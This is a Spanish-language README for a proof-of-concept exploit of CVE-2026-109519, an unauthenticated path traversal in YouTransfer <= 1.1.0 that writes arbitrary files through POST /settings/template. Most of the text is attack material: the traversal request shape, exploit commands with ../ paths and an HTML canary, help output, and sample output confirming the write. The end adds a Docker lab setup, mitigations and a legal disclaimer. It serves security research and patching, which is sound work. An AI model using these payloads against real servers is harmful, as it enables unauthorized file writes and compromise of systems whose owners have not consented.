
Exploit PoC en Python para CVE-2026-109519, un path traversal no autenticado en YouTransfer <= 1.1.0 que escribe archivos arbitrarios mediante /settings/template, con verificación de escritura.
Escritura arbitraria de archivos mediante Path Traversal en YouTransfer
/settings/template
| Campo | Detalle |
|---|---|
| ID de CVE | CVE-2026-109519 |
| ID de VulDB | 417175 |
| Producto | YouTransfer |
| Versión afectada | <= 1.1.0 |
| Tipo | Path Traversal / Escritura arbitraria de archivos |
| Vector de ataque | Red (no autenticado) |
| Puntuación CVSS | 8.3 — Alta |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L |
| CWE | CWE-22 (Limitación incorrecta de un nombre de ruta a un directorio restringido) |
| Autor | @0xgh0stri13y |
YouTransfer expone un endpoint /settings/template no autenticado que permite escribir archivos de plantilla en el disco. El parámetro template se pasa directamente al sistema de archivos sin ninguna sanitización de secuencias de path traversal (../).
Un atacante puede abusar de esto para escribir contenido arbitrario en cualquier ruta accesible por el proceso de la aplicación, escapando por completo del directorio de plantillas previsto.
POST /settings/template
template=../../../arbitrary/path/file.txt ← no path validation
body=ATTACKER_CONTROLLED_CONTENT ← no content filtering
La aplicación confía en el parámetro template como una ruta relativa y escribe el contenido de body en esa ubicación sin:
../path.resolve() o salvaguardas similares┌─────────────────────────┐
│ Attacker │
└────────┬────────────────┘
│
│ POST /settings/template
│ template = ../../../target/path/file.ext
│ body = <attacker-controlled content>
│
▼
┌─────────────────────────┐
│ YouTransfer Server │
│ (No auth required) │
│ │
│ path.join(templateDir, │
│ "../../../target/..") │
│ │
│ Writes content to disk │
│ OUTSIDE templates dir │
└─────────────────────────┘
│
▼
File written to arbitrary
location on the server
# Write a proof-of-concept file to demonstrate path traversal
python exploit.py -t http://target:5000
# Write to a custom path outside the templates directory
python exploit.py -t http://target:5000 -p "../../../tmp/pwned.txt" -b "CVE-2026-109519 PoC"
# Verify with a benign canary file
python exploit.py -t http://target:5000 -p "../views/pages/canary.html" -b "<h1>Path Traversal PoC</h1>"
$ python exploit.py --help
usage: exploit.py [-h] -t TARGET [-p TEMPLATE_PATH] [-b BODY] [--timeout TIMEOUT] [--verify]
CVE-2026-109519 — YouTransfer <= 1.1.0 — Unauthenticated Path Traversal (Arbitrary File Write)
options:
-h, --help show this help message and exit
-t, --target TARGET YouTransfer base URL (e.g. http://victim:5000)
-p, --template-path TEMPLATE_PATH
Traversal path for the template parameter
(default: ../poc_pathtraversal.txt)
-b, --body BODY Content to write to the file
(default: CVE-2026-109519 Path Traversal PoC by @0xgh0stri13y)
--timeout TIMEOUT HTTP timeout in seconds (default: 15)
--verify Attempt to verify the write via GET request
┌─────────────────────────────────────────────────┐
│ CVE-2026-109519 PoC Exploit │
│ YouTransfer <= 1.1.0 Path Traversal (CWE-22) │
└─────────────────────────────────────────────────┘
Unauthenticated Arbitrary File Write
github.com/0xgh0stri13y
[*] Target : http://target:5000
[*] Path : ../poc_pathtraversal.txt
────────────────────────────────────────────────────────
[*] Checking target: http://target:5000
[+] Target is alive and running YouTransfer
[*] Sending path traversal payload via POST /settings/template
[*] template = ../poc_pathtraversal.txt
[*] body = CVE-2026-109519 Path Traversal PoC by @0xgh0stri13y
[+] Payload delivered successfully (HTTP 200, no auth required)
[*] Verifying file write...
[+] Verification successful — file content matches payload ✓
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Path traversal confirmed — arbitrary file write verified
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Exploit completed successfully — Path Traversal confirmed ✓
Levanta una instancia vulnerable usando Docker:
docker pull remie/youtransfer:stable
docker run -d -p 5000:5000 --name youtransfer-vuln remie/youtransfer:stable
Luego ejecuta el exploit:
python exploit.py -t http://127.0.0.1:5000 --verify
/settings/template — requerir una sesión de administrador válida.template — rechazar o eliminar las secuencias ../; usar path.resolve() y verificar que la ruta resuelta permanezca dentro del directorio de plantillas previsto.Esta herramienta y la información proporcionada son para investigación de seguridad autorizada y fines educativos únicamente. El uso de este exploit contra sistemas sin el permiso escrito explícito del propietario es ilegal y poco ético. El autor no se hace responsable de ningún uso indebido o daño causado por esta herramienta.